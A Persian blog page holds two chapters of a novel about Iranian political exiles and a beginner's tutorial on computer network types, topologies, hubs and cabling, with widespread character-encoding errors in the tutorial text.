کتاب-مقاله دانشجویی-روانشناسی-اینترنت-برنامه نویسی-هنری-

فریدون سه پسر داشت بخش دوم

آزاد روزفراخ — Sat, 21 Jan 2012 12:33:33 GMT

نویسنده آزاد روزفراخ

و حا ل تهوع بهش دست

می داد

پشت میز نشست ه بود، خیال می کرد در تختخوابش پتوی پوست پلنگی اش را بغ ل کرده و در پناه تار

عنکبوت دارد با رؤیا ی ناصری عشقبازی می کند

جعبه ی عکس هاش را گذاشته بود روی صندلی ، و بدون ترتیب یکی بیرون می کشید، تکیه اش می داد

به گلدان روی میز، قدری نگاه می کرد، و یک ی دیگر برم یداشت

جعبه ای که سال ها با خودش کشیده بود و

شهر به شهر برده بود؛ به قول خودش جعبه ی افتخارات

. آن را از بازار شپش خریده بود.

چهار مارک و

هفتادوپنج فنیگ ته جیبش را داد ه بود و جعبه را زیر بغل زده بود

بیشتر به خاطر لولای آهنی یک تکه اش

که پر از نقش و نگار بود، و آن گُل میخ های فولادی اش که در دل چوب جا خو ش کرده بود، با نقشه ای از

دنیا، حک شده روی چوب ، و چقدر بزرگ و خوب

می شد هزار عکس را در آن جا داد و چف ت مفرغینش را

«.

جعبه ی افتخارات » : بست . چه بوی خوبی هم می داد، بو ی کاج و توتون آمیخته .

گفت

یک عکس از جعبه بیرون کشید و تکی ه داد ب ه گلدان روی میز، زیرسیگار یاش را کشید آ نطرف تر

که دود سیگار جلو دیدش را نگیرد

و سیگار ی نیمه در چا ک زیرسیگاری دود می شد، بالا می خزید، و پی چ و

؟ چرا این جوری شد » : تاب می خورد ک ه توجه مجید را از عکس ها بدزدد.

زیر ل ب نالید

عکس دیگری به گلدان تکیه داد و نگاه کرد؛ خودش بود

ایستاده پشت تریبون پوشیده از پرده ی

داس و چکش

. پیراهن چهارخانه ی آبی به تن داشت .

با عینک ی دور سیاه ، موهای مجعد بلند و سیا ه، و سبی ل

آنکادرشده ی سیاه ، که اگر طراح قابلی حضور می داشت ، با دو حرکت مشخصه ی چهره اش را در می آورد

کجا بود؟ با اینکه می دانست اما سرش را نزدی ک برد و پارچ هنویسی پشت سرش را خواند

سازمان

«.!

خلق قهرمان ایران » : انترناسیونال خلق ، هانوفر.

و صدا در سال ن سخنرانی می پیچید

خیال می کرد از تأثیر داروهاس ت که وقتی سیگار را از چا ک زیرسیگاری بر می دارد، چش مهاش به دو

دو می افتد، و دست هاش بی جهت می لرزد

نمی دانست که پژواک آن صدای تب آلود هنوز همه ی وجودش را

«!

خلق قهرمان ایران » :

به لرزه می اندازد

بر پدرش لعنت

این همه سال کار سیاسی بکنی و آخرش هیچ ؟ در همه ی دنیا زندان و تبعید و

تجربه های سیاسی امتیازی است برای آدم ها، اما در مملکت ما، وقتی یک زندانی سیاسی آزاد می شود، تازه

اول بدبختی اش است

. من سیزده سال فقط توی غربت سگ دو زده ام ، و حالا می گویم نمی شود، رفیق

نمی شود یعنی چی ؟ یعن ی اینکه اپوزیسیون را تک ه پاره کرده اند، هیچ اتحادی نیست ، هیچ مبارزه ای نیست ،

تازه اگر هم باشد انفراد ی است

با ای ن همه فرش فروش و تاجر و کاف هچی و کاسب که یکباره متوجه شده اند

زندگی از دس تهاشان رفته ، باید آخر عمری فکری به حال خودشا ن بکنند

کسبی راه انداخته اند و کشیده اند

کنار

. حتا اگر کنار ه م نمی کشیدند، می شدند مث ل من ، ساکت و منتظر فرص ت.

منی که با پاسبان کشی

مخالفم ، اما برای این سؤال ذهنم چه جوابی دارم ؟ وقتی برادرت یک جلاد باشد که هزاران نفر را بازجوی ی

کرده و گذاشت ه سینه ی دیوار، باهاش چه می کنی ؟ نمی روی یک نارنج ک حرامش کنی ؟

خودم را زد هام به خریت که می خواهم برگردم و بوی برادرم را از سرشان ههای کتش به درون سینه ام

بکشم

دلم برای کوچه های تهران تنگ است ، برای گربه هایی که توی خیابان ها ول اند و شبی هزارتاشان

می روند زیر ماشین ، برای مرده هامان که در سینه کش بی در و پیکر کویر خوابید هاند

دیگر نمی خواهم اینجا بمانم

اصلاً کدامِ شما، بگویید، کدام شما یک سال ، یک ماه ، یک روز از ای ن

بین شما کدا م،

» : سال های سیاه ما را تاب می آورید؟ یادش بخیر،ایرج .

پیپ می کشید و بلند بلند می خواند

؟ بگویید، بین شما کدام صیقل می دهد سلا ح آبایی را برا ی روز انتقام

ولمان کنید برویم پی کارمان

مگر مبارزه بدون ما ادامه ندارد؟ خوب ، شما ادام ه بدهید، بروید بگیرید

و هر کار دلتان می خواهد بکنید

. من مدت هاست که به مسایل دیگر ی فکر می کنم

هروقت گریه ام می گیرد، یاد لحظه ای می افتم که برای آخرین بار داشتم خانه را ترک می کردم ، رفتم

کنار جاکفشی

. اشک امان نمی داد که کفشم را پیدا کنم .

اصلاً چه رنگی بود؟ شاید ه م دلم نمی خواست که

پیداش کنم ، و به همه ی کفش ها دست می مالیدم

مامان بسته ی کوچکی داد و اصرار داش ت که زود تو ی جیبم بگذارمش

بعدها که بازش کردم ،

صدهزار تومان پول بود، هم ه هم هزاری ، و چقدر به دردم خورد

پدر نم یدانم از کدام اتاق سر و کله اش پیدا

صد بار تأکید کردم با شاخ سیاست درنیفتید

. گوش نکردید و » :

شد، بالا سر م ایستاد و شمرد ه شمرده گفت

حالا، برای من که آبرویی نگذاشته اید، لااق ل به آینده خودتان فکر کنید

اگر ب ه من باشد باید بروید گوشه ی

زندان و آنقدر زجر بکشید تا آدم بشوید، باید توبه کنید، اما به خاطر مادرتان ، این بار چشم هام را هم

«.

می گذارم . زود گورتان را گم کنید و از این مملکت بروید.

وقت راهم تلف نکنید

لحظه ای در سکو ت گذشت و م ن حالا کفشم را پیدا کرد ه بودم

دلم می خواست هرچه زودتر بپوش م و

بزنم بیرون که با ماشی ن عبدالناصر برویم آستارا

پدر

فریدون سه پسر داشت

آزاد روزفراخ — Sat, 21 Jan 2012 12:24:36 GMT

رمانی زیبا بخش اول

نویسنده آزاد روز فراخ

شاید همه چیز با مر گ ناصری آغاز شد

روی در را برداشته اند، هی چ ملاقات کننده ای نیست

. « ملاقات ممنوع » .

دیشب مغزش از کار افتاد

عبدالناصر ناصری آرام روی تخت خوابیده ، لوله ها از بینی اش گذشت هاند، و تصویر مونیتور سمت راستش

می پرد

. نورهای عمودی پنجره که به سختی از لای پرده ی ضخیم می گذرند، او را قطع ه قطعه نشان می دهند

دو دستش را روی سینه اش گذاشته اند، با چشم های بسته ، خط ابروهای ملایم ، مژ ههای تابیده ی بلند، و ریش

شانه خورده ی خاکستری ، یکی سیاه یکی سفید

. ناصری آرام گرفته است .

دسته ای از موهای صاف

جوگندمی اش که روی متکا پخ ش شده ، صورتش را قاب گرفته است

یک گلدان کاکتوس کوچولو جلو

تختش در نور مونیتور سم ت راست که مدام می پرد، روش ن و تیره می شود

مثل صورت لاغر او ک ه در

نوسان نور، خاکستری است ، به کبود می زند، لاغرتر می نماید، و در قعر مر گ فرو می رود، می رود، می رود تا

بوی خام بشر اولیه اتاق را پر کند، چیزی نظیر وسوسه های شهوانی از ملافه های سفید متصاعد شود که وقتی

صدای ناقوس پُرقدرت کلیسا از منفذها گذشت و در گوش ها پیچید و پل کها را لرزاند، آ ن را مثل چربی به

دیوارها بمالد

. چربی آشوبنده ای که اگر دس ت به دیوار بمالی باید هی بشوری اش .

و هرچه بشوری پاک

نمی شود، همراه صدای ناقوس در رگ هات جاری می شود و عاقبت بر سین هات می چسبد

عبدالناصر ناصری از هزار سال پیش مرده است ، و اتاق ش را از سر ب ساخته اند

صدای ناقوس بر او

اثری ندارد، ن ه شیپور جنگ است ، نه بیدارباش صبح ، و نه هیچ چیز دیگر

موسیقی متنی است که مرگ را

بدرقه می کند، آن هم به همت طلبه ی جوانی که موظف است در ساع تهای مقرر طناب کلفت آویخته از

ناقوس را به دور کمر باریکش ببندد، خود را از این دیوار بکوبد به آن دیوار، تا چکش سنگین فولاد ی بر دل

«...

دینگ ... دانگ ... اللهُ... اکبر... دینگ ... دانگ » :

ناقوس بگوید

آنوقت نفس زنان و عرق ریزان برود به انتهای باغ کلیسا، وارد اتا ق بزرگی شود که سه درِ تو در تو باز

و بست ه می شود تا بوی شمع و عود به مشام برسد، ب ه راهبه ی لاغر و رن گ پریده ای که در تاری کروشن

میزها و شمعدان ها روی تخت نشسته است با سر سلام کند، در تلالو نور شم عها ب ه جستجوی چشم های آبی

و طرح اندام او نفهمد که چطور از میان آن همه اثاثیه می گذرد

جلوش زانو بزند، وحشیان ه خیره اش شود،

خیره اش شود، و با حرکتی تند و ب یقرار خود را در بغ ل او بیندازد، و چنا ن لبش را ببوسد ک ه راهبه مدهوش

شود و با ناله و گا ه آهی لرزان ، نرم نرمک پیراهنسفید پر از چین جوان را از تنش پس بزند، بعد در

تختخوابی که پر از بالش های کوچک رنگی است ، با انگشتانش شانه های او را نوازش کند، یا گاه با ناخن هاش

«.

آه » :

صدای طلبه ی جوان را در آورد

یا با چرخش ی نرم چنان او را در بغل ش بچرخاند و به زیر بکشد که گویی اصلاً کس ی آنجا نبوده است

راهبه ای پنجاه ساله ، بریده از دنیا و مافیها درحالی که گریه می کند از دردِ رن جهای بشری ، یا از خون ی که بر

صلیب خشکید، و یا برای آمرزش گناهان گوسفندانی که اسیر گرگ شیطان شده اند، چنا ن به خود پیچیده ، و

یا از خود بیخود گشته است که سر بر بسترش نهاده ، تسبیح زنان با دست هاش دارد گناها ن بشر را

می شمارد، از خدا پوز ش می خواهد، و صدا ی هق هقش در ناقوس محو می شود

تانک سوخته ای جلو مسجد خاموش شده بود و صدای گ م و پیدای الله اکبر از پش ت دیوارها به گوش

«.

دینگ ... دانگ » :

می رسید

مجید امانی زیر پتوی پوست پلنگی اش مچاله شده بود و در قعر خواب ، جایی نزدیک تانک سوخته ،

در اتاق آجریِ بی در و پیکری برهنه بر لبه ی تخت نشسته بود و داشت به اندام کشیده ی رؤیا نگا ه می کرد

همیشه وسط تخت می خوابید، دست هاش را زیر صورتش می گذاشت ، و می گذاشت آن موهای لَخت و سیاه

بر شانه هاش پخش شود

مجید یکبار دیگر اندام را از کمرگاه مرور کرد، خال کوچکی بر کپ ل سمت چپش

بود که در خوا ب هم بود

ادامه داد و وقتی به کف پاها رسید خواست خم شود و آنها را ببوسد، اما عده ای

تعقیبش می کردند و سایه به سایه دنبالش بودند

. تپش قلبش تند شده بود و پناه ی نمی یافت .

در خواب هم

می دانست که این یک بیماری است ، اما همین موهبت باعث م یشود که آدم حواسش جمع باشد، دور و

.«

الله اکبر » : برش را بپاید، و مف ت طعمه نشود.

صدای جمعیت نزدیک تر می شد

به طرف صدا برگشت

. در و پیکر اتاق پوشیده از تار عنکبو ت بود.

مثل پرده ای تار که عنکبوتی بر

دهانه ی غار اصحاب کهف تنیده بود تا آنها را از مر گ نجات دهد

. اسد آنطر ف پرده ایستاده بود.

کت و

شلوار خاکستری به تن داشت ، با پیراه ن سفید، ریش سیاه ، و موهای کوتاه

می خواست داخل شود اما تار

عنکبوت راهش را بسته بود

رعشه از شانه های مجید شروع شد، در سینه اش چرخید، و در راه نفسش بند آمد

نمی دانست از

وحشت مرگ رفیق قدیمی اش ، عبدالناصر ناصر ی به خود می پیچد، یا تصویری قدیمی او را چنی ن برآشفته

است

کجا بود؟ چرا راه گم کرده بود؟ داشت کجا می رفت ؟ هرجا بود از تعقیب گریخته بود و حالا احساس

امنیت می کرد

از سه درِ تو در تو گذشته بود و با صدای شهوان ی یک زن ،او ل جا خورد ه بود، و بعد ک ه از

لای باریکه ی در نگاه کرده بود، بوی در هم آمیخته ی شمع و عود او را در جذب های روحانی فرو برد ه بود ک ه

بین شهوت و مذهب سرگردانش می کرد

چقدر از آنچ ه در کودک ی به او گفته یا آموخته بودند دور شده

بود؟ هما ن قدر از یک احساس تب آلود شهوان ی خود را ب ه گناه آلوده می دید و بیشتر کی ف می کرد

خسته

بود، و از وحشت تعقیب آن حرامزاده ها به کلیسا پناه برده بود

. سه نفر بودند، شاید ه م بیشتر.

هنوز راه

درازی در پیش داشت ، و نمی دانست آیا جان سالم به در خواهد برد؟ خیال می کرد در کلیسا با کشیش ی

سفیدمو روبرو می شود و به او می گوید که من فقیر نیستم ، اما حالا پول همراهم نیست ، نمی خواهم سیاه سوار

قطار شو م، می ترسم مأموری بیاید بالای سرم و شص ت مارک جریمه ام کند

. پیاده هم نمی توانم بروم .

خیال

می کرد با ماشین کلیسا او را تا دم درِ خانه اش می رسانند، یا یک کاری براش می کنند

باور کنید پاهام دیگر

مال خودم نیست

وقتی از خواب پرید، نمی دانست کجاست

نمی دانست که آ ن راهبه ی خاکستری می تواند طلبه ای جوان

را چنان به درون بکشد که مجید امانی غم گمگشتگی اش را ب ه باد فراموش ی دهد، و یادش برود از کجا آمده

بود؟ به کجا م یرفت ؟ و چقدر تپش های نهانیِ چکش فولادی در د ل ناقوس ، وسوس هانگیز اس ت

نمی دانست از دلتنگی به چنین حالی در آمده ، و یا آیا در وسوسه ی یک همخوابگی سرکوفته قلبش این

جور پرپر م یزند؟ داش ت از لای در ب ه طلبه ی لاغری نگاه می کرد که حالا پیراهن سفید تن ش نبود و هر آن

در له له عطشناک راهبه می رفت که خاکستر شود

صدای ناقوس هنوز بود و مجید خیال می کرد از لای درِ اتاق ی که تا ساعتی پیش روی آن آویخته

بودند

"ملاقات ممنوع "

، دارد به جسد رفی ق قدیمی اش نگاه می کند، و از او برا ی همیشه فاصله می گیرد، یا از

سرگیجه اش کمک می گیرد که به او فاصل ه بدهد تا برود، و ای ن سکوت سنگین چرب آلود را با خود ببرد،

ببرد تا مجید واپسی ن تصویر ذهنش را دیگر ب ه یاد نیاورد

یک گلدان کاکتوس در نور مونیتور تیر ه و روشن می شد

خطوط نور گریخته از پرده ، جسد را قطع ه

قطعه می کرد

ارتعاش صدای ناقوس هنوز بود، و ناصر ناصر ی انگار ک ه همین حالا از پش ت پیانو بلند شده و

روی تخت دراز کشیده تا دقایقی بعد دوباره پشت پیانو بنشیند و بنوازد، آرام آرام

انگشت های پاهاش از

ملافه ی سفید بیرون مانده بود، و این سؤال که آیا زندگی هنوز هم ادامه دارد؟

ادامه که داشت

چهار سال از آن روزها گذشته بود و مجید خیال می کرد همین دیشب بوده که

عبدالناصر ناصری مرده ، و همزمان با ناقوس کلیسا در ته مانده ی ارتعاش صدا، راهب های از طلب های جوان کام

می گیرد و انگار که لحظه ی آخر دنیاست ، چنا ن او را در خود عبور م یدهد که اگر همان لحظه ناقوس

مرگش را نواختند، ارتعاش صدا هنوز باشد

. مثل تصویر ناصری که همیشه هست ، و آد م را نیست می کند

مثل مرگ ، مثل شرم ، مثل شهوت ، مثل تعقیب ، یا گردبادی که به زندگی مجید افتاده بود و طومار ش را

درهم پیچیده بود

نمی دانست که در تنهای ی وحشتناک روی تختخوابش پتوی پوست پلنگی اش را بغل زده و دارد بین

وسوسه ی شهوانی و مذهب معلق می شود

. و بو ی تانک سوخته می آمد

«!

مجید قورباغه » :

ناگاه درِ اتاق باز شد، چیفتن سرک کشید

«...

گوار... گوار » :

بی آنکه سر برگرداند گف ت

سکوت در بخش چهار آسایشگا ه روانی برادرانِ آلکسیانا، پش ت پنجره های دو جداره ی سفید در هوا ی

گرم مثل نُت های نواخته نشده در فضا معلق بود

چنان سکوتی که هیاهوی کرکننده اش مثل صدای

سیرسیرک ها در دش ت سوخته ی گندم ، زیر هُر م آفتاب بر مغز می تابید، یا از دل زمین می جوشید و به شکل

دانه های عرق از سر و رو م یچکید اما وقت ی خوب گوش می کردی سیرسیرکی در کار نبود

هیاهوی سکوت

از درون جمجمه مثل گردباد می چرخید، و سنبله ی گندم را خشک می کرد؛ و بوی نان و خاک می آورد

«.

هرکس هرچه دارد بخورد » :

پدربزرگ می گفت

بیرون از پنجره ها بر هره ی سیمانی ، لایه ای از پُرز یخ نشست ه بود ک ه با هیاهو ی شهر بخار م یشد

و باز

آفتاب می تابید، و باز برف می آمد، و باز همه پالتو می پوشیدند، و باز برهنه می شدند که پوستشان آفتاب

ببیند، و باز روزمر هگی در هیاهو ادامه می یافت ، و باز هی چ چیز آرام نمی گرفت

قطارهای سبز و سرخ شهری ، آمبولانس ها، ماشین های سواری و بار ی، آد مها، دوچرخه سوارها، همه

چیز، شاید انگار همه چیز جا مانده بود تا مجید امان ی، خمیده بر میز قهوه ای چهارگوشی چشم بدوزد به یک

عکس قدیمی ، یا شلوغی چهارراه

. چه جرأتی داشتند!

این طرفی ها می ایستادند تا آن طرفی ها دور بگیرند، پیچ

را کمان ه کنند و تند بگذرند

. نوبت به نوبت عوض می شد، و چقدر دقیق بود.

گاه قطار قرمزی هم از وسط

این ماجراها م یگذشت اما سرعت و نظم ، همانی که بود، بود

بر پدرش لعنت

آن طرفی ها می ایستادند، این طرفی ها دورخیز می کردند و در دل خیابانی که پشت

ساختمان محو می شد، محو می شدند؛ در انتظاری که مجید دلش هُری تو می ریخت

آشنایی با شبکه ها

آزاد روزفراخ — Sat, 21 Jan 2012 11:45:11 GMT

تهیه و تنظیم:آزاد روزفراخ

١
آشنایی با شبکه ها
شبکه چیست ؟
شبکه در پایه ای ترین سطح خود شامل دو آامپیوتر
می باشد آه به وسیله آابل به یکدیگر متصل شده اند
به طوری آه از داده ها به طور مشترک استفاده نمایند !
در حالی آه ایده دو آامپیوتری آه با آابل به هم متصل شده
اند ممکن است عجیب به نظر برسد ولی در گذشته اینکار موفقعیت
بزرگی در ارتباطات محسوب می شد !
در ابتدا تکنولوژی شبکه تعداد آامپیوتر های متصل و نیز
فاصله فیزیکی آه تحت پوشش شبکه قرار می گرفت را محدود می
ساخت مثلا از این شبکه ها می شد در داخل یک ساختمان و یا
شرآت آوچک استفاده نمود آه این شبکه ها در بعضی موارد
مناسب هستند و امروز نیز مورد استفاده قرار می گیرند و
شبکه های محلی نامیده می شوند !
قدیمی نمی توانستند به طور شا یسته (( LAN)) شبکه های محلی
ای نیازهای شبکه ای شرآتهای بزرگ تجاری با دفاتری در
مکاای مختلف را بر آورده سازند اما وقتی شبکه های گسترده
طراحی گردید حوزه جغرافیایی شبکه با اتصال (( wan))
آاربران در استاا با شهر های متفاوت رشد نمود و در این
شبکه ها تعداد آاربران در شبکه می توانست تا هزاران آاربر
افزایش یابد!
چرا از شبکه استفاده می آنیم ؟
عمدتا از شبکه برای به اشتراک در آوردن منابع و امکانات
ارتباط پیوسته استفاده می شود . منابع شامل داده ها
برنامه های آاربردی و دستگاهای جانبی می باشد . دستگاهای
جانبی شامل درایو دیسک خارجی چاپگر ماوس مودم یا جوی استیک
می باشد !
ارتباطات پیوسته شامل ارسال به صورت رفت و برگشت پیامها یا پست الکترونیکی است !
اجزاء شبکه
معمولا تمامی شبکه ها دارای خصوصیات و اجزای خاصی
می باشند آه عبارتند از :
ها server سرویس دهند ها ♦
ها client سرویس گیرندها ♦
رسانه (راهی برای ارتباط ♦
آامپیوترها )
٢
انواع شبکه
با وجود شباهتها در شبکه ها . شبکه ها به دو
گروه عمده تقسیم می گردند:
peer to peer ١-)شبکه نظیر به نظیر
server Base ٢-)شبکه بر اساس سرویس دهنده
در شبکه های نظیر به نظیر . سرویس دهنده های
اختصاصی بین آامپیوتر ها وجود ندارد تمام آامپیوتر ها
معادل می باشند و هر آامپیوتر می تواند هم به صورت
سرویس دهنده و هم به صورت سرویس گیرنده عمل آند و در این
شبکه ها هیچ آامپیوتری مسئول اداره شبکه نیست !
در شبکه های نظیر به نظیر معمولا آمتر از ١٠ آامپیوتر در
شبکه وجود دار ند واین شبکه ها ساده . ارزان وبا ایمنی
آمتر هستند !
معمولا یک آامپیوتر آه از server Base در شبکه های
نظر سخت افزاری دارای حداقل های تعیین شده می باشد و
برای سرعت در سرویس دهی و ایمنی شبکه بهینه شده شبکه را
اداره می آند .
توپولوژی شبکه
اصطلاح توپولوژی شبکه به طرح فیزیکی یا آرایش
آامپیوتر ها آابلها و سایر اجزاء شبکه اطلاق می گردد .
توپولوژی اصطلاح استانداری است آه اآثر متخصصین شبکه
وقتی به طرح پایه شبکه اشاره دارند استفاده می نمایند !
توپولوژی شبکه بر روی توانایی شبکه اثر می گذارد یک
توپولوژی برتر بر دیگری می تواند شامل موارد ذیل باشد:
نوع تجهیزاتی آه شبکه نیاز دارد ♦
توانایی های تجهیزات ♦
امکان رشد شبکه ♦
روشی آه شبکه مدیریت می شود ♦
اآثر شبکه ها از آابل برای اتصال یک آامپیوتر
به آامپیوتر دیگر استفاده می آنند اما این آار به هم ین
سادگی نیست آه فقط با اتصال آابل آامپیوترها به هم متصل
شوند و تشکیل شبکه دهند . انواع مختلف آابلها در ترآیب
با آارتهای متفاوت شبکه سیستم های عامل شبکه و سایر
اجزاء نیاز به انواع متفاوت آرایشها دارد ! توپولوژی
شبکه دلالت ضعیفی بر تعداد حالات دارد ! مثلا یک توپولوژی
خاص نه تنها نوع آابل مورد استفاده بلکه چگونگی عبور
آابلها از دیوارها و سقفها و آفها را نیز تعیین می نماید
. توپولوژی می تواند چگونگی ارتباط آامپیوتر ها در
شبکه را نیز تعیین آند !
٣
توپولوژی های استاندارد
تمام طرحهای شبکه از سه توپولوژ ی پایه ذیل به دست
می آید :
خطی ♦
ستاره ای ♦
حلقوی ♦
(bus) توپولوژی خطی
اگر آامپیوترهادریک ردیف در طول آابل تکی
(آابل اصلی ) متصل باشند . آنرا توپولوژی خطی می گویند
این توپولوژی ساده ترین ومعمول ترین روشن شبکه سازی
آامپیوتر می باشد !
این توپولوژ ی شامل یک آابل تکی بنام اصلی (ستون
فقرات)می باشد آه آلیه آامپیوترهای شبکه را با یک خط
تکی متصل می سازد ! شکل یک شبکه خطی در صفحه بعد آمد
است :
تصویر شماره ١
آامپیوترها در شبکه توپولوژی خطی با آدرس دهی
داده ای برای آامپیوتری خاص و قرار دادن آن داده های بر
روی آابل به صورت سیگنال الکترونیکی ارتباط بر قرار می
نمایند .
داده های شبکه به شکل سیگنالها اآترونیکی برای تمام
آامپیوترهای شبکه ارسال می گردد اما اطلاعات فقط توسط
آامپیوترهایی پذیرفته می شود آه آدرس آن با آدرس رمز
شده در سیگنال اص لی هماهنگ باشد و چون در هرلحظه فقط یک
آامپیوترمی تواند داده ها را در شبکه خطی بفرستد
توانایی و سرعت شبکه متاثر از تعداد آامپیوترهای متصل
به آابل اصلی شبکه می باشد البته پایین بودن سرعت شبکه
فقط به تعداد آامپیوتر ها وابسته نیست و به عوامل متعدد
از جمله موارد ذیل بستگی دارد !
♦
۴
♦
توانایی های سخت افزاری آامپیوترهای شبکه ♦
تعداد دفعاتی آه آامپیوتر های شبکه داده ها را انتقال ♦
می دهند
نوع برنامه هایکاربردی آه در شبکه اجرا می شود ♦
انواع آابلهایی آه در شبکه استفاده می گردد ♦
فاصله بین آامپیوترهای شبکه ♦
چون داده ها یا سیگنالها ی الکترونیکی به آل
شبکه ارسال می گردد . از یک انتهای آابل به انتهای دیگر
حرآت خواهند آرد . اگر این سیگنال مجزا باشد بدون وقفه
ادامه یابد . سیگنالها در رفت و برگشت در طول آابل
ادامه می یابند آه به اصطلاح لرزش سیگنال ایجاد می آند
و مانع ارسال سیگنالهای سایرآامپیوتر ها می شود آه برای
مهار این لرزش سیگنال در دوانتهای آابل از قطعه ای به
نام قطعه پایانی استفاده می آنند تا سیگنالهای آزاد را
جذب آند !
اگر آابل به طور فیزیکی در شبکه قطع شود مثلا
اگر یک انتهای آابل قطع گردد به علت لرزش سیگنالها آل
شبکه از آارخواهد افتاد و حتی آامپیوترهایی آه ارتباط
فیزیکی آابل آا
برقراراست نمیتوانند با هم ارتباط برقرارآنند واین یکی
ازمحدودیت های توپولوژی خطی است !
خطی به دو روش می توان عمل آرد : LAN برای گسترش
BNC ١-) استفاده از بست
٢-) استفاده از دستگاه تقویت آننده
موجب تضعیف سیگنالها در طول آابل می BNC روش اول یعنی استفاده از بست
گردد و بهتر است به صورت پشت سر هم و به تعداد ز یاد در شبکه مورد استفاده قرار نگیرد
ولی استفاده از دستگاه تقویت آننده بالعکس سیگنالهای ضعیف شده در آابل را دریافت
می آند و سیگنالها را تقویت آرده و به آابل ارسال می آند آه روش بسیار مناسبی است !
(Star) توپولوژی ستاره ای
در توپولوژی ستاره ای . آامپیوتر ها به
وسیله آابلهای اصلی به قطعه مر آزی به نام هاب (آانون )
متصل شده اند ! سیگنالهای آامپیوتر فرستنده از طریق هاب
به تمام آامپیوترهای شبکه اتصال می یابند ! در این شبکه
اگر یک آامپیوتر یا آابلی آه آن را به هاب متصل می آند
در شبکه خراب شود فقط آامپیوتر خراب از شبکه خارج می
شود و بر خلاف شبکه خطی شبکه به طور عادی به آار خود
ادامه می دهد ! ولی اگر هاب در شبکه ستاره ای خراب شود
۵
آل شبکه از آار می افتد !
تصویر شماره ٢
هابها
هاب قطعه مرآزی در توپولوژی ستاره ای می باشد و
دونوع فعال و غیر فعال وجود دارد
- هابهای فعال مانند یک تقویت آننده عمل می آنند و
سگنالها را دریافت و تقویت می آنند به همین دلیل گاهی
اوقات آا را تقویت آننده چند در گاهی نیز می نامند !
در ضمن هابهای فعال برای اجرا نیاز به نیروی برق دارند !
- هابهای غیر فعال به صورت بست های اتصال سیگنالها را تقویت
نمی آنند و فقط آا را عبور می دهند ! این هابها به
نیروی برق نیاز ندارند
فوائد هابها
هابها تطبیق پذیرند و امکان راحت گسترش شبکه را
فراهم می آنند ! همچنین در بعضی هابها در گاههای متفاوتی
برای هماهنگی با انواع آابلها ق رار داده شده همچنین هابها
فعالیت و ترافیک شبکه را آنترل می آنند و هابهای فعال
بسیاری وجود دارند آه دارای توانایی عیب یابی هستند و
نشان می دهند آه آیا بست آار می آند یا خیر !
۶
(TOKen Ring) توپولوژی حلقوی
در این توپولوژی آامپیوتر ها در یک آا بل تکی
دایره ای شکل متصل می شوند انتهای پایانی وجود ندارد
توپولوژی حلقوی توپولوژی فعال می باشد زیرا هر
آامپیوتر در این شبکه به صورت یک تقویت آننده عمل می
آند و چون سیگنالها از تمام آامپیوتر ها می گذرد خرابی
یک آامپیوتر می تواند بر آل شبکه تاثیر بگذارد !
تصویر شماره ٣
یکی از روشهای انتقال داده ها به صورت حلقوی
عبور نشانه ها است به این صورت آه آامپیوتر ها یکی
پس از دیگری نشانه ها را دریافت آرده و به آامپیوتر
بعدی می فر ستند مگرآنکه آدرس رمزشده در نشانه با آدرس
آامپیوتر برابر باشد ! پس از تائید آامپیوترفرستنده
آامپیوتر گیرنده پیامی را به آامپیوتر فرستنده بر می
گرداند آه نشان می دهد داده ها در یافت شده !
٧
اتصال اجزاء شبکه
آابل آشی شبکه
تعداد زیادی آابل وجود دارد آه نیازها و
انداز های متفاوت شبکه ها از آ وچک تا بزرگ را بر آورده
می آنند ولی فقط سه گروه از این آابلها در شبکه مورد
استفاده قرار می گیرند !
آابلهای آواآسیال ♦
آابلهای زوج مارپیچ ♦
آابلهای فیبر نوری ♦
آابلهای آواآسیال
آابل آواآسیال قبلا پر مصرفترین آابل بندی شبکه
محسوب می شد زیرا این آاب لها هم ارزانتر از سایر آابلها
بودند و هم به علت انعطاف پذیری آار با آا ساده است در
ساده ترین شکل آابل آواآسیال شامل یک سیم هادی مرآزی
از جنس مسی و یک عایق وروی آن حفاظ فلزیح بافته شده
است !در آخر نیز حفاظ خارجی قرار دارد !
تصویر شماره ۴
٨
آار لایه حف اظ بافته شده فلزی در آابلهای آواآسیال جذب
نو پزهای اطراف سیم است (نویزها سیگنالها و امواج
الکتریکی پراآنده در اطراف سیم هستند ) و حفاظی است آه
این سیگنالها وارد داده های شبکه نشوند و به اصطلاح خرابی
داده ها به حداقل برسد ! درجه ضخامت این لایه در آابلهای
آواآسیال متفاوت است !
انواع آابلهای آواآسیال
دونوع آابل آواآسیال وجود دارد :
١-) نازک (اتر نت نازک )
٢-) ضخیم (اترنت ضخیم)
اترنت نازک . آابل آواآسیال قابل انعطاف با حدود
٠ اینچ می باشد این آابل می تواند قبل از آنکه /٢۵
سیگنال شروع به خراب شدن آند سی گنال را حدود ١٨۵ متر حمل
قرار RG- نماید آابلهای آواآسیال نازک در گروهی به نام 58
می گیرند آه مقاومت ظاهری آا ۵٠ اهم می باشد ! آابلهای
اترنت مستقیما به آارت شبکه وصل می شوند.
تصویر شماره ۵
اترنت ضخیم . آابل آواآسیال نسبتا محکم با قطر
٠ اینچ می باشد ! سیم مرآزی ((مغزی)) مسی اترنت ضخیم /۵
نسبت به اتر نت نازک ضخیم تر است در نتیجه می تواند
سیگنالها را به فاصله دورتر حمل آند آه این فاصله حدود
۵٠٠ متر می رسد آه نسبت به اترنت نازک بس یار بیشتر است
به همین علت از نوع ضخیم در آابل اصلی شبکه استفاده می
شود و سپس آن را با بست مخصوصی به آابلهای آواآسیال نازک
وصل می آنند تا به آارت شبکه وصل شود ! ولی با این حال
استفاده از آابلهای آواآسیال نازک بسیار راحتر است و
نسبت به آابلهای ضخیم از قیمت پایین تری برخودار است !
٩
سخت افزار بست آواآسیال
هر دو اترنت نازک و ضخیم از بستهایی به
استفاده می آنند : (Brithish NavaL conector) BNC نام
این بست به انتهای آابل می چسبد و برای : BNC بست آابل
می باشد نمونه این بست را در تصویرشماره ۵ Tconector اتصال به
مشاهده می آنید
این بست آارت میانجی شبکه را به آابل شبکه : BNC T بست
معروف است !نمونه این Tconector متصل می آند ! این بست به بست
بست را در تصویر شماره ۵ مشاهده می آنید .
از یک طرف به آارت شبکه واز دو سر دیگر به بست Tconector بست
این : BNC آابل و قطعه پایانی متصل است !بست شبکه ای BNC
بست برای اتصال دو قطعه آابل اترنت نازک وگسترش طول آابل
به آار می رود .
((Twisted pair)) آابل زوج مار پیچ
آابل زوج مارپیچ در ساده ترین شکل خود شامل دو رشته
عایق از سیم مسی مارپیچی به دور یکدیگر می باشند . دو
نوع آابل زوج مارپیچ وجود دارد :
